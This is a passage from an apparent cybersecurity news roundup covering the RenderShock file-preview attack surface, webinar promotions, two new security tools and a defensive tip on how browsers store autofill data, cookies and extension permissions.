synchronizing, and rendering files across endpoints, cloud platforms, and productivity suites. These systems often process files without explicit user action, trusting that the rendering process is safe. RenderShock exploits these passive execution surfaces: trusted components that parse untrusted files silently in the background." 🎥 Cybersecurity Webinars AI Is Breaking Trust—Here’s How to Save It Before It’s Too Late — Discover how customers are reacting to AI-driven digital experiences in 2025. The Auth0 CIAM Trends Report reveals rising identity threats, new trust expectations, and the hidden costs of broken logins. Join this webinar to learn how AI can be your biggest asset—or your biggest risk. Python Devs: Your Pip Install Could Be a Malware Bomb — In 2025, Python’s supply chain is under siege — from typosquats to hijacked AI libraries. One wrong pip install could inject malware straight into production. This session shows how to secure your builds with tools like Sigstore, SLSA, and hardened containers. Stop hoping your packages are clean — start verifying. 🔧 Cybersecurity Tools Vendetect - It is an open-source tool designed to detect copied or vendored code across repositories — even when the code has been modified. Built for real-world security and compliance needs, it uses semantic fingerprinting and version control analysis to identify where code was copied from, including the exact source commit. Unlike academic plagiarism tools, Vendetect is optimized for software engineering environments: it catches renamed functions, stripped comments, and altered formatting, and helps trace untracked dependencies, license violations, and inherited vulnerabilities often found during security assessments. Telegram Channel Scraper - It is a Python-based tool designed for advanced monitoring and data collection from public Telegram channels. It uses the Telethon library to scrape messages and media, storing everything in optimized SQLite databases. Built for efficiency and scale, it supports real-time scraping, parallel media downloads, and batch data exports. This makes it useful for researchers, analysts, and security teams who need structured access to Telegram content for investigation or archiving — without depending on manual scraping or third-party platforms. Disclaimer: These newly released tools are for educational use only and haven’t been fully audited. Use at your own risk—review the code, test safely, and apply proper safeguards. 🔒 Tip of the Week Don’t Trust Your Browser Blindly — Most people think of their browser as just a tool to get online — but in reality, it’s one of the most exposed parts of your device. Behind the scenes, your browser quietly stores names, emails, companies, and sometimes even payment info. This data often lives in plain, unencrypted files that are easy to extract if someone gains local access — even briefly. For example, in Chrome or Edge, personal autofill details are stored in a file called Web Data, which is a basic SQLite database anyone with access can read. This means that if your machine is compromised — even by a simple script — your personal or even work identity can be quietly stolen. Red teamers and attackers love this kind of recon gold. It doesn’t stop there. Browsers also keep session cookies, local storage, and site databases that often don’t get wiped, even after logout. This data can allow attackers to hijack your logged-in sessions or extract sensitive info stored by web apps — including company tools. Even browser extensions, if malicious or hijacked, can quietly spy on your activity or inject bad code into pages you trust. Another weak spot? Browser extensions. Even legitimate-looking add-ons can have wide permissions — letting them read what you type, track your browsing, or inject scripts. If a trusted extension gets compromised in an update, it can silently become a data theft tool. This happens more often than people think. Here’s how to reduce the risk: Clear autofill, cookies, and site data regularly Disable autofill entirely on workstations Limit extensions — audit them using tools like CRXcavator or Extension Police Use DB Browser for SQLite to inspect stored files (Web Data, Cookies) Use tools like BleachBit to securely wipe traces Browsers are essentially lightweight application platforms. If you’re not auditing how they store data and who can access it, you’re leaving a major gap open — especially on shared or endpoint-exposed machines. Conclusion This week’s signals are less a conclusion and more a provocation: What else might we be misclassifying? What familiar data could become meaningful under a different lens? If the adversary thinks in systems, not symptoms, our defenses must evolve accordingly. Sometimes, the best response isn’t a patch—it’s a perspective shift. There’s value in looking twice where others have stopped looking altogether.
thehackernews.comJul 28, 2025extracted